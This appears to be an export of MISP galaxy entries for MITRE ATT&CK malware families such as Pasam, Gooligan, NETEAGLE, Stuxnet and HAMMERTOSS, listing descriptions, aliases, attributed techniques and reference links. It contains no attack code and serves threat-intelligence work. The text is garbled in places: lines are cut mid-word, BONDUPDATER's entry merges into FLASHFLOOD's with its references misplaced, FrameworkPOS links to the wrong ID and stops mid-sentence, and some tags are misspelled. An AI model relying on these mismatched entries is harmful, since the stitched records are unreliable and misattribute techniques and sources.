MirageFox - S0280 is also known as:

- MirageFox

View relationships graph

MirageFox - S0280 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"

*Table 6681. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0280">https://attack.mitre.org/software/S0280</a></td>
</tr>
</tbody>
</table>

**Pasam - S0208**

[Pasam](https://attack.mitre.org/software/S0208) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)

The tag is: `misp-galaxy:mitre-malware="Pasam - S0208"`

Pasam - S0208 is also known as:

- Pasam

View relationships graph
Pasam - S0208 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008" with estimative-language:likelihood-probability="almost-certain"

**Table 6682. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0208">https://attack.mitre.org/software/S0208</a></td>
</tr>
</tbody>
</table>

**Darkmoon - S0209**

The tag is: *misp-galaxy:mitre-malware="Darkmoon - S0209"*

View relationships graph

Darkmoon - S0209 has relationships with:

- similar: misp-galaxy:malpedia="Darkmoon" with estimative-language:likelihood-probability="likely"

**Table 6683. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0209">https://attack.mitre.org/software/S0209</a></td>
</tr>
</tbody>
</table>
Gooligan - S0290

Gooligan ([https://attack.mitre.org/software/S0290](https://attack.mitre.org/software/S0290)) is a malware family that runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal authentication tokens that can be used to access data from many Google applications. Gooligan ([https://attack.mitre.org/software/S0290](https://attack.mitre.org/software/S0290)) has been described as part of the Ghost Push Android malware family. (Citation: Gooligan Citation) (Citation: Ludwig-GhostPush) (Citation: Lookout-Gooligan)

The tag is: *misp-galaxy:mitre-malware="Gooligan - S0290"*

Gooligan - S0290 is also known as:

- Gooligan
- Ghost Push

View relationships graph

Gooligan - S0290 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

Table 6684. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.checkpoint.com/2016/11/30/1-million-google-accounts-breached-gooligan/">http://blog.checkpoint.com/2016/11/30/1-million-google-accounts-breached-gooligan/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0290">https://attack.mitre.org/software/S0290</a></td>
</tr>
<tr>
<td><a href="https://blog.lookout.com/blog/2016/12/01/ghost-push-gooligan/">https://blog.lookout.com/blog/2016/12/01/ghost-push-gooligan/</a></td>
</tr>
<tr>
<td><a href="https://plus.google.com/+AdrianLudwig/posts/GXzJ8vaAFsi">https://plus.google.com/+AdrianLudwig/posts/GXzJ8vaAFsi</a></td>
</tr>
</tbody>
</table>

MazarBOT - S0303

[MazarBOT]([https://attack.mitre.org/software/S0303](https://attack.mitre.org/software/S0303)) is Android malware that was distributed via SMS in Denmark in 2016. (Citation: Tripwire-MazarBOT)

The tag is: *misp-galaxy:mitre-malware="MazarBOT - S0303"*

View relationships graph

MazarBOT - S0303 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-
### NetTraveler - S0033

[NetTraveler](https://attack.mitre.org/software/S0033) is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)

The tag is: *misp-galaxy:mitre-malware="NetTraveler - S0033"*

NetTraveler - S0033 is also known as:

- NetTraveler

View relationships graph

NetTraveler - S0033 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"* with estimative-language:likelihood-probability="almost-certain"
- similar: *misp-galaxy:malpedia="NetTraveler"* with estimative-language:likelihood-probability="likely"
- uses: *misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010"* with estimative-language:likelihood-probability="almost-certain"
- similar: *misp-galaxy:tool="NetTraveler"* with estimative-language:likelihood-probability="likely"

### BUBBLEWRAP - S0043

[BUBBLEWRAP](https://attack.mitre.org/software/S0043) is a full-featured, second-stage backdoor used by the [admin@338](https://attack.mitre.org/groups/G0018) group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)
The tag is: `misp-galaxy:mitre-malware="BUBBLEWRAP - S0043"`

BUBBLEWRAP - S0043 is also known as:

- BUBBLEWRAP
- Backdoor.APT.FakeWinHTTPHelper

View relationships graph

BUBBLEWRAP - S0043 has relationships with:


Table 6687. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0043">https://attack.mitre.org/software/S0043</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html">https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html</a></td>
</tr>
</tbody>
</table>

NETEAGLE - S0034

[NETEAGLE](https://attack.mitre.org/software/S0034) is a backdoor developed by [APT30](https://attack.mitre.org/groups/G0013) with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.” (Citation: FireEye APT30)

The tag is: `misp-galaxy:mitre-malware="NETEAGLE - S0034"`

NETEAGLE - S0034 is also known as:

- NETEAGLE

View relationships graph

NETEAGLE - S0034 has relationships with:

- similar: `misp-galaxy:malpedia="NETEAGLE"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 6688. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0034">https://attack.mitre.org/software/S0034</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>

**Octopus - S0340**

[Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan written in the Delphi programming language that has been used by [Nomadic Octopus](https://attack.mitre.org/groups/G0133) to target government organizations in Central Asia since at least 2014. (Citation: Securelist Octopus Oct 2018) (Citation: Security Affairs DustSquad Oct 2018) (Citation: ESET Nomadic Octopus 2018)

The tag is: misp-galaxy:mitre-malware="Octopus - S0340"

Octopus - S0340 is also known as:

- Octopus

View relationships graph

Octopus - S0340 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 6689. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0340">https://attack.mitre.org/software/S0340</a></td>
</tr>
<tr>
<td><a href="https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html">https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html</a></td>
</tr>
</tbody>
</table>
**Riltok - S0403**

[Riltok](https://attack.mitre.org/software/S0403) is banking malware that uses phishing popups to collect user credentials. (Citation: Kaspersky Riltok June 2019)

The tag is: `misp-galaxy:mitre-malware="Riltok - S0403"`

Riltok - S0403 is also known as:

- Riltok

**View relationships graph**

Riltok - S0403 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Input Injection - T1516"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Contact List - T1636.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426"` with estimative-language:likelihood-probability="almost-certain"

_Table 6690. Table References_

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0403">https://attack.mitre.org/software/S0403</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/mobile-banker-riltok/91374/">https://securelist.com/mobile-banker-riltok/91374/</a></td>
</tr>
</tbody>
</table>

**SPACESHIP - S0035**

[SPACESHIP](https://attack.mitre.org/software/S0035) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

The tag is: `misp-galaxy:mitre-malware="SPACESHIP - S0035"`
SPACESHIP - S0035 is also known as:

- SPACESHIP

View relationships graph

SPACESHIP - S0035 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"

Table 6691. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0035">https://attack.mitre.org/software/S0035</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>

**SeaDuke - S0053**

[SeaDuke](https://attack.mitre.org/software/S0053) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with [CozyCar](https://attack.mitre.org/software/S0046). (Citation: F-Secure The Dukes)

The tag is: `misp-galaxy:mitre-malware="SeaDuke - S0053"`

SeaDuke - S0053 is also known as:

- SeaDuke
- SeaDaddy
- SeaDesk

View relationships graph

SeaDuke - S0053 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-
Table 6692. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0053">https://attack.mitre.org/software/S0053</a></td>
</tr>
</tbody>
</table>

**FrameworkPOS - S0503**

[FrameworkPOS](https://attack.mitre.org/software/S0053) is a point of sale (POS) malware used by
FrameworkPOS - S0503 is also known as:

- FrameworkPOS
- Trinity

View relationships graph

FrameworkPOS - S0503 has relationships with:

- uses: misc-galaxy:misf-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misc-galaxy:misf-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 6693. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0503">https://attack.mitre.org/software/S0503</a></td>
</tr>
</tbody>
</table>

Melcoz - S0530

Melcoz - S0530 is also known as:

- Melcoz

View relationships graph

Melcoz - S0530 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 6694. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0530">https://attack.mitre.org/software/S0530</a></td>
</tr>
</tbody>
</table>

zwShell - S0350

[zwShell](https://attack.mitre.org/software/S0350) is a remote access tool (RAT) written in Delphi that has been seen in the wild since the spring of 2010 and used by threat actors during [Night Dragon](https://attack.mitre.org/campaigns/C0002).(Citation: McAfee Night Dragon)

The tag is: `misp-galaxy:mitre-malware="zwShell - S0350"`

zwShell - S0350 is also known as:

• zwShell

View relationships graph
zwShell - S0350 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 6695. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0350">https://attack.mitre.org/software/S0350</a></td>
</tr>
</tbody>
</table>

**BONDUPDATER - S0360**

[BONDUPDATER](https://attack.mitre.org/software/S0360) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)

The tag is: *misp-galaxy:mitre-malware="BONDUPDATER - S0360"*

BONDUPDATER - S0360 is also known as:
FLASHFLOOD - S0036

[FLASHFLOOD](https://attack.mitre.org/software/S0036) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

The tag is: `misp-galaxy:mitre-malware="FLASHFLOOD - S0036"`

FLASHFLOOD - S0036 is also known as:

- FLASHFLOOD

Table 6696. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0360">https://attack.mitre.org/software/S0360</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/">https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html">https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html</a></td>
</tr>
</tbody>
</table>

FLASHFLOOD - S0036 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 6697. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0036">https://attack.mitre.org/software/S0036</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>

SHOTPUT - S0063

[SHOTPUT](https://attack.mitre.org/software/S0063) is a custom backdoor used by [APT3](https://attack.mitre.org/groups/G0022). (Citation: FireEye Clandestine Wolf)

The tag is: misp-galaxy:mitre-malware="SHOTPUT - S0063"

SHOTPUT - S0063 is also known as:

• SHOTPUT

• Backdoor.APT.CookieCutter

• Pirpi

View relationships graph

SHOTPUT - S0063 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="Pirpi" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-
Nebulae - S0630

[Nebulae](https://attack.mitre.org/software/S0630) is a backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)

The tag is: **misp-galaxy:mitre-malware="Nebulae - S0630"**

Nebulae - S0630 is also known as:

- Nebulae

View relationships graph

Nebulae - S0630 has relationships with:

- uses: **misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"** with **estimative-language:likelihood-probability="almost-certain"**
- uses: **misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001"** with **estimative-language:likelihood-probability="almost-certain"**
- uses: **misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"** with **estimative-language:likelihood-probability="almost-certain"**
- uses: **misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"** with **estimative-language:likelihood-probability="almost-certain"**
- uses: **misp-galaxy:mitre-attack-pattern="Native API - T1106"** with **estimative-language:likelihood-probability="almost-certain"**
- uses: **misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"** with **estimative-language:likelihood-probability="almost-certain"**
- uses: **misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"** with **estimative-language:likelihood-probability="almost-certain"**
- uses: **misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004"** with

uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6699. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0630">https://attack.mitre.org/software/S0630</a></td>
</tr>
</tbody>
</table>

Stuxnet - S0603

[Stuxnet](https://attack.mitre.org/software/S0603) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines. (Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011) (Citation: CISA ICS Advisory ICSA-10-272-01) (Citation: ESET Stuxnet Under the Microscope) (Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008. (Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)

The tag is: misp-galaxy:mitre-malware="Stuxnet - S0603"

Stuxnet - S0603 is also known as:

- Stuxnet
- W32.Stuxnet

View relationships graph

Stuxnet - S0603 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SQL Stored Procedures - T1505.001" with estimative-language:likelihood-probability="almost-certain"

Table 6700. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0603">https://attack.mitre.org/software/S0603</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01">https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01</a></td>
</tr>
</tbody>
</table>

**HAMMERTOSS - S0037**

[HAMMERTOSS](https://attack.mitre.org/software/S0037) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)

The tag is: `misp-galaxy:mitre-malware="HAMMERTOSS - S0037"`

HAMMERTOSS - S0037 is also known as:

• HAMMERTOSS
• HammerDuke
• NetDuke

View relationships graph

HAMMERTOSS - S0037 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"


Table 6701. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0037">https://attack.mitre.org/software/S0037</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf</a></td>
</tr>
</tbody>
</table>

**ASPXSpy - S0073**

[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. It has been modified by [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors to create the ASPXTool version. (Citation: Dell TG-3390)

